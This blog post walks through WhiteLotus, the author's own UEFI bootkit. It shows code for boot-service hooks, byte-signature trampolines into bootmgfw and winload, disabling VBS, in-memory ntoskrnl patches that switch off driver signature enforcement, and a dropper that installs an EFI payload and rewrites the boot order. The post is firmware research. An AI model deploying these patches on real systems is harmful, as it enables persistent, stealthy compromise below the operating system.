0xbekoo
  • Documentation
  • Blogs

WhiteLotus: Walking Through a UEFI Bootkit

Tue, May 12, 2026

A firmware research walk-through of WhiteLotus, a UEFI boot-chain project that follows bootmgfw, winload, and ntoskrnl before Windows fully starts.

About Author
0xbekoo
0xbekoo

Low-Level Security Researcher

    • Introduction
    • Walking Into the Boot Chain
    • The First Hook
    • Inside winload.efi
    • Touching ntoskrnl.exe Before It Wakes Up
    • The Windows-Side Loader
    • Conclusion
[!] Research and Safety Notice

This post is written strictly for firmware security research and defensive understanding. WhiteLotus is a boot-chain research project; it touches the EFI System Partition, modifies UEFI boot variables such as BootOrder and BootNext, uses a Windows-side loader flow that involves privilege escalation/UAC bypass behavior, and patches boot-time Windows components to affect VBS/DSE and Code Integrity paths.

Since it runs smoothly on systems without Secure Boot, please use it only in controlled environments. As the project’s developer, I have never accepted responsibility for its use in real-world scenarios, nor do I ever recommend it; these projects are intended solely for educational purposes, and the responsibility lies entirely with you.

Introduction



Do you know BlackLotus?

Well, BlackLotus is my favorite bootkit, and, in my opinion, BlackLotus was truly unique not because of the security vulnerability it exploited, but because of its chain..

It was one of those projects that made people remember a very annoying truth again: the operating system is not the first thing that owns the machine. Before Windows starts breathing, there is already a whole boot world running under it.

WhiteLotus got its name from there. Not because I wanted to make “the same thing but cooler” or something like that. The idea was more like: okay, BlackLotus showed how serious this class of attack can be, so let’s build a research-oriented project where I can understand the boot chain with my own hands. BlackLotus was bypassing Secure Boot, while WhiteLotus, on the other hand, runs on systems without Secure Boot. Therefore, ‘WhiteLotus’ represents this.

This is an honor for me (because of my love to BlackLotus xD) to explain you my WhiteLotus as a boot-chain research project. Blacklotus is my favorite malware in the malware art, so working on a project similar to it was a wonderful experience for me.

WhiteLotus demonstrates how the Windows boot path can be intercepted before the kernel starts, and I separated the project into two parts because the firmware logic and the Windows deployment logic solve different problems. Keeping them apart makes the chain easier to reason about:

  • WhiteLotusDXE: the UEFI DXE driver that hooks the boot chain and performs the actual patching logic.
  • WhiteLotusEXE: the Windows-side deployment component that places the EFI payload into the EFI System Partition and prepares the next boot.

Walking Into the Boot Chain

Before going into the code, we need to place WhiteLotus on the map. In a normal UEFI Windows boot, the firmware loads the Windows Boot Manager. Then bootmgfw.efi loads the Windows OS loader, and winload.efi prepares the kernel, boot drivers, loader block, and everything else that Windows needs before the first kernel instructions run.

The rough chain looks like this:

UEFI Firmware
    |
    v
bootmgfw.efi
    |
    v
winload.efi
    |
    v
ntoskrnl.exe
    |
    v
Windows Kernel

The first design question was: where should I stand in this chain?

I could try to touch Windows after it boots, but then I would be fighting PatchGuard, Code Integrity, kernel callbacks, EDR logic, and the normal runtime protections. Instead, WhiteLotus stands earlier. It inserts itself before bootmgfw.efi and then follows the chain from the inside:

WhiteLotusDXE
    |
    | hooks EFI_BOOT_SERVICES->LoadImage()
    v
bootmgfw.efi is loaded
    |
    | hooks ImgArchStartBootApplication()
    v
winload.efi is loaded
    |
    | hooks OslFwpKernelSetupPhase1()
    v
ntoskrnl.exe is found in LoaderBlock
    |
    | patches Code Integrity paths
    v
Windows continues booting

This is why bootkits are uncomfortable to analyze. They do not need to fight the running kernel directly. They wait for the kernel to be present in memory, but not fully alive yet. It is like editing a creature before it wakes up.

The First Hook

The main entry point of the firmware side is WhiteLotusEntryPoint() in WhiteLotusDXE/WhiteLotus.c. The first important operation is hooking LoadImage():

OriginalLoadImageAddress = (EFI_IMAGE_LOAD)HookServicePointer(
    &gBS->Hdr,
    (VOID **)&gBS->LoadImage,
    (VOID **)&HookedLoadImage
);

gBS is the UEFI Boot Services table. During boot services time, firmware components can use this table for things like loading images, allocating memory, opening protocols, reading filesystems, and starting images. By replacing the LoadImage function pointer, WhiteLotus gets a callback whenever firmware loads a new EFI image.

This is the first reason I picked LoadImage(). I did not want to hardcode the exact moment where bootmgfw.efi appears. Firmware already has enough platform-specific behavior, and if you add hardcoded assumptions everywhere, debugging becomes unnecessarily painful. With this hook, WhiteLotus simply stands next to the loader door and watches every image passing through.

The hook is installed with HookServicePointer(). Before writing into the service table, the code raises TPL and temporarily clears CR0.WP:

CONST EFI_TPL Tpl = gBS->RaiseTPL(TPL_HIGH_LEVEL);
CONST UINTN Cr0 = AsmReadCr0();
CONST BOOLEAN WpSet = (Cr0 & CR0_WP) != 0;

if (WpSet) {
    AsmWriteCr0(Cr0 & ~CR0_WP);
}

This should look familiar if you have touched kernel patching before. CR0.WP is the Write Protect bit. If it is set, supervisor-mode code is also prevented from writing to read-only pages. Clearing it creates a small write window. After the pointer replacement, WhiteLotus recalculates the UEFI table CRC:

ServiceTableHeader->CRC32 = 0;
gBS->CalculateCrc32(
    (UINT8*)ServiceTableHeader,
    ServiceTableHeader->HeaderSize,
    &ServiceTableHeader->CRC32
);

That CRC update matters because UEFI tables are not just random structs. They have headers, revisions, sizes, and checksums. If you patch one and leave the checksum stale, the firmware ecosystem can become very noisy very quickly.

WhiteLotus also hooks SetVariable() from Runtime Services:

OriginalSetVariableAddress = (EFI_SET_VARIABLE)SetRuntimeServicePointer(
    (VOID **)&gRT->SetVariable,
    (VOID *)&HookedSetVariable
);

This is a second layer of control. SetVariable() is used to write UEFI variables. The project currently filters a variable called TestData, but the more general idea is clear: a runtime service hook can observe, block, or alter NVRAM writes later in the boot lifetime.

After the hooks are installed, WhiteLotus searches all mounted simple filesystems for the Windows Boot Manager:

CHAR16 *BootMgrPath = L"\\EFI\\Microsoft\\Boot\\bootmgfw.efi";

Status = gBS->LocateHandleBuffer(
    ByProtocol,
    &gEfiSimpleFileSystemProtocolGuid,
    NULL,
    &HandleCount,
    &HandleBuffer
);

I did it this way because device paths are not something I want to trust blindly between machines. The ESP can appear through different handles, disk layouts can change, and firmware implementations are not always consistent. So WhiteLotus opens every volume and tries to find \EFI\Microsoft\Boot\bootmgfw.efi instead of assuming where it lives.

When the correct partition is found, the code builds a device path and loads the Windows Boot Manager manually:

DevicePath = FileDevicePath(TargetDeviceHandle, BootMgrPath);
Status = gBS->LoadImage(FALSE, ImageHandle, DevicePath, NULL, 0, &NewImageHandle);
Status = gBS->StartImage(NewImageHandle, NULL, NULL);

At this point the trap is already set. LoadImage() is hooked, so when bootmgfw.efi is loaded, WhiteLotus can inspect the image and decide whether it is interesting.

Before touching anything, WhiteLotus needs to understand what it just loaded. This recognition part lives mostly inside PE.c. The project parses PE headers and classifies loaded images with GetInputFileType().

For bootmgfw.efi, the project checks the PE subsystem and searches for the Windows Boot Manager BCD GUID:

CONST EFI_GUID BcdWindowsBootmgrGuid = {
    0x9dea862c, 0x5cdd, 0x4e70,
    { 0xac, 0xc1, 0xf3, 0x2b, 0x34, 0x4d, 0x47, 0x95 }
};

For winload.efi, the code looks for OSLOADER.XSL in the resource data. I liked this detail because it avoids relying only on filenames. In boot-time memory, filenames are not always the most stable source of truth. The loaded image itself tells us what it is.

So the logic becomes:

PE image loaded
    |
    +-- Native subsystem              -> ntoskrnl.exe
    |
    +-- EFI application + Bootmgr GUID -> bootmgfw.efi
    |
    +-- Boot application + OSLOADER    -> winload.efi
    |
    +-- anything else                  -> ignore

This part is important because a bootkit that patches the wrong image is not a bootkit anymore. It is just a very expensive crash generator.

Once bootmgfw.efi is detected, WhiteLotus calls PatchBootMgfw().

The target function is ImgArchStartBootApplication or, on older builds, ImgArchEfiStartBootApplication. I chose this point because bootmgfw.efi uses it when starting a boot application. In our case, the boot application we care about is winload.efi.

WhiteLotus finds the function with a byte signature:

STATIC CONST UINT8 SigImgArchStartBootApplication[] = {
    0x41, 0xB8, 0x09, 0x00, 0x00, 0xD0
};

After finding the signature, it walks back to the function start with FindFunctionStart(). Then it writes a tiny trampoline over the beginning of the function.

The hook template is small and direct:

CONST UINT8 gHookTemplate[] =
{
    0x48, 0xB8,                                     // mov rax, <imm64>
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x50,                                           // push rax
    0xC3                                            // ret
};

In x64 terms, this is basically:

mov rax, HookAddress
push rax
ret

It is a compact absolute jump. The original bytes are saved before patching:

CopyMem(BackupAddress, (VOID*)OriginalAddress, sizeof(gHookTemplate));
CopyWpMem((VOID*)OriginalAddress, gHookTemplate, sizeof(gHookTemplate));
CopyWpMem(
    (UINT8*)OriginalAddress + gHookTemplateAddressOffset,
    (UINTN*)&HookAddress,
    sizeof(UINTN)
);

Then HookedBootmgrImgArchStartBootApplication_Eight() becomes the middleman. When bootmgfw.efi starts a boot application, the hook checks whether the image is winload.efi. If it is, WhiteLotus calls PatchWinload().

There is a small elegance here: the hook restores the original function bytes before calling the real function again:

CopyWpMem(OriginalFunction, OriginalFunctionBytes, sizeof(gHookTemplate));

So the boot flow continues. WhiteLotus only borrows execution for a moment, changes what it needs, and then steps out of the way. This was important for me because I did not want the boot chain to look like a broken lab experiment. The cleaner the handoff, the easier it is to understand what actually failed when something goes wrong.

Inside winload.efi

winload.efi is where things become more interesting. At this stage, Windows is still not fully running, but the loader has enough information about the kernel image and boot modules.

WhiteLotus targets OslFwpKernelSetupPhase1():

STATIC CONST UINT8 SigOslFwpKernelSetupPhase1[] = {
    0x89, 0xCC, 0x24, 0x01, 0x00, 0x00,
    0xE8, 0xCC, 0xCC, 0xCC, 0xCC,
    0xCC, 0x8B, 0xCC
};

The function is found by scanning the .text section. Then the same trampoline idea is used again:

CopyMem(
    gOslFwpKernelSetupPhase1Backup,
    (VOID*)gOriginalOslFwpKernelSetupPhase1,
    sizeof(gHookTemplate)
);

CopyWpMem(
    (VOID*)gOriginalOslFwpKernelSetupPhase1,
    gHookTemplate,
    sizeof(gHookTemplate)
);

I did not pick this function randomly. The reason is that the hook receives a LOADER_PARAMETER_BLOCK:

EFI_STATUS EFIAPI HookedOslFwpKernelSetupPhase1(
    IN PLOADER_PARAMETER_BLOCK LoaderBlock
)

This structure is gold. It contains the loader’s view of the boot world, including the loaded module list. At this point I do not need to blindly scan memory and hope I find the right image. The loader already has the list. WhiteLotus walks LoadOrderListHead and searches for ntoskrnl.exe:

CONST PKLDR_DATA_TABLE_ENTRY KernelEntry =
    GetBootLoadedModule(
        (LIST_ENTRY*)LoadOrderListHeadAddress,
        L"ntoskrnl.exe"
    );

If the kernel entry is found, the project now has:

  • KernelEntry->DllBase: where ntoskrnl.exe is loaded.
  • KernelEntry->SizeOfImage: how large the kernel image is.
  • PE headers: enough structure to scan sections and imports.

This is the central moment of the project. WhiteLotus does not patch a kernel file on disk. It patches the loaded kernel image in memory during boot.

Before the kernel patching stage, WhiteLotus also sets the VbsPolicyDisabled EFI variable:

Status = gRT->SetVariable(
    (CHAR16*)VbsPolicyDisabledVariableName,
    (EFI_GUID*)&MicrosoftVendorGuid,
    EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS,
    sizeof(Disabled),
    (BOOLEAN*)&Disabled
);

This part exists because VBS changes the trust boundaries around code integrity. If the system boots with VBS-based protections active, the old “patch the kernel memory and continue” model becomes much less reliable. So before trying to bend Code Integrity, WhiteLotus also tries to make the boot environment less hostile to that research path.

In other words, WhiteLotus is not only touching code integrity. It also tries to shape the environment around code integrity.

Touching ntoskrnl.exe Before It Wakes Up

The kernel patching logic lives in PatchKernel.c. The main function is PatchNtoskrnl(), and the important work happens in DisableDSE().

The target here is Driver Signature Enforcement. Normally, Windows does not allow arbitrary unsigned kernel-mode drivers to load. That enforcement involves Code Integrity paths, including CI-related initialization and image validation behavior. I wanted to keep this patch small and understandable, because giant magical byte patches are terrible for learning. If I cannot explain why a byte is changed, then I probably should not change it.

WhiteLotus first finds the import address for CI.dll!CiInitialize:

CONST EFI_STATUS IatStatus = FindIATAddressForImport(
    ImageBase,
    NtHeaders,
    "CI.dll",
    "CiInitialize",
    &CiInitialize
);

Then it scans the PAGE section of ntoskrnl.exe. The goal is to locate the nearby code path in SepInitializeCodeIntegrity.

The project tracks recent ecx writes:

if ((PageStart[i] == 0x33 && PageStart[i+1] == 0xC9) ||
    (PageStart[i] == 0x31 && PageStart[i+1] == 0xC9) ||
    (PageStart[i] == 0xB1) ||
    (PageStart[i] == 0x89 && (PageStart[i+1] & 0xF8) == 0xC8) ||
    (PageStart[i] == 0x8B && (PageStart[i+1] & 0xF8) == 0xC8))
{
    LastMovEcx = PageStart + i;
}

Then it searches for a RIP-relative call pattern that references the CiInitialize IAT address:

if (PageStart[i] == 0xFF && PageStart[i+1] == 0x15) {
    CONST UINT8* Rip = PageStart + i + 6;
    INT32 Disp = *(INT32*)(PageStart + i + 2);
    CONST UINT8* TargetAddr = Rip + Disp;

    if (TargetAddr == (CONST UINT8*)CiInitialize) {
        SepInitializeMovEcxAddress = LastMovEcx;
        break;
    }
}

The patch itself is small:

UINT8 XorEcxPatch[] = { 0x33, 0xC9 };
CopyWpMem((VOID*)SepInitializeMovEcxAddress, XorEcxPatch, sizeof(XorEcxPatch));

33 C9 is:

xor ecx, ecx

The second patch searches for:

mov eax, 0xC0000428

This value is a failure status used around image validation. WhiteLotus replaces the immediate with zero:

UINT32 Zero = 0;
CopyWpMem((VOID*)(SeValidateImageDataMovEaxAddress + 1), &Zero, sizeof(Zero));

So the high-level idea is:

SepInitializeCodeIntegrity
    |
    | force CI initialization path into disabled-looking state
    v
SeValidateImageData
    |
    | replace signature failure status with success
    v
unsigned kernel image loading becomes possible

The patches are small, but the timing makes them powerful. They are applied after the kernel image is loaded and before the kernel begins its normal life. That timing is basically the whole trick.

The Windows-Side Loader

The DXE side is the main research component, but WhiteLotus also contains a Windows-side deployment path under WhiteLotusEXE.

There are two subprojects:

  • Dropper: decrypts embedded payloads, writes loadefi.exe into %LOCALAPPDATA%, and launches an auxiliary payload.
  • LoadEfi: locates the EFI System Partition, writes the EFI payload, and creates a boot entry.

The loader begins by enabling SeSystemEnvironmentPrivilege:

if (!EnablePrivilege(L"SeSystemEnvironmentPrivilege")) {
    printf("[!] Failed to enable SeSystemEnvironmentPrivilege.\n");
    return 1;
}

This privilege is needed because Windows does not allow normal processes to freely edit firmware environment variables. If a program is going to read or write BootOrder, BootNext, or Boot000X, it needs to cross that boundary first.

Then it checks Secure Boot:

DWORD Ret = GetFirmwareEnvironmentVariableExW(
    L"SecureBoot",
    L"{8be4df61-93ca-11d2-aa0d-00e098032b8c}",
    &Value,
    Size,
    &Attrs
);

This is expected. If Secure Boot is enabled, unsigned or untrusted EFI components should not be allowed to execute in the normal path. WhiteLotus is clearly designed for a Secure Boot disabled research environment.

The next problem is simple but annoying: where is the EFI System Partition? I could mount a drive letter manually and call it a day, but that would be a lazy assumption. LoadEfi searches volumes, maps each volume to its disk extent, reads GPT layout information, and checks for the ESP partition type GUID:

if (Pi->PartitionStyle == PARTITION_STYLE_GPT &&
    GuidEqual(&Pi->Gpt.PartitionType, &EspPartitionTypeGuid) &&
    Pi->StartingOffset.QuadPart == Offset.QuadPart)
{
    ...
}

This is better than assuming S:\ or some other drive letter. The ESP often has no normal drive letter at all. So the code asks Windows about volumes and disk layout, then finds the actual firmware partition.

After that, the encrypted EFI payload is decrypted with RC4 and written to:

\EFI\CUSTOM\loader.efi

The file writing path uses FILE_FLAG_WRITE_THROUGH and also calls FlushFileBuffers(). This is not glamorous, but it is the kind of boring detail that matters in boot work. If the file is not really flushed to disk, the next boot may not see what you think you wrote.

After the EFI file is in place, the loader builds a new UEFI load option and writes it as Boot0009:

BOOL Ok = SetFirmwareEnvironmentVariableExW(
    TARGET_BOOT_VAR,
    L"{8be4df61-93ca-11d2-aa0d-00e098032b8c}",
    LoadOpt,
    LoadOptSize,
    TARGET_ATTRIBUTES
);

Then it sets BootNext:

WORD BootNext = (WORD)TARGET_BOOT_INDEX;
SetFirmwareEnvironmentVariableExW(
    L"BootNext",
    L"{8be4df61-93ca-11d2-aa0d-00e098032b8c}",
    &BootNext,
    sizeof(WORD),
    TARGET_ATTRIBUTES
);

And finally it prepends the new entry to BootOrder.

The chain is:

Windows process
    |
    | enable SeSystemEnvironmentPrivilege
    v
find ESP
    |
    | write \EFI\CUSTOM\loader.efi
    v
create Boot0009
    |
    | set BootNext / BootOrder
    v
next reboot executes WhiteLotusDXE

This is where the project becomes a full boot-chain experiment rather than just a DXE driver sitting in a folder. I wanted the reboot itself to carry execution into the DXE payload, because that is closer to the real boot-chain problem than manually launching random EFI files from a shell.

Conclusion

WhiteLotus is a nice example of why firmware research feels different from normal userland or kernel work. The interesting part is not only the final DSE patch. The interesting part is the route: entering through DXE, watching LoadImage(), recognizing bootmgfw.efi, catching winload.efi, walking the loader block, and finally touching ntoskrnl.exe before it starts breathing :>

Back to Home

About Author
0xbekoo
0xbekoo

Low-Level Security Researcher

Contents
    • Introduction
    • Walking Into the Boot Chain
    • The First Hook
    • Inside winload.efi
    • Touching ntoskrnl.exe Before It Wakes Up
    • The Windows-Side Loader
    • Conclusion

© 0xbekoo 2026 | 0xbekoo.github.io

Twitter GitHub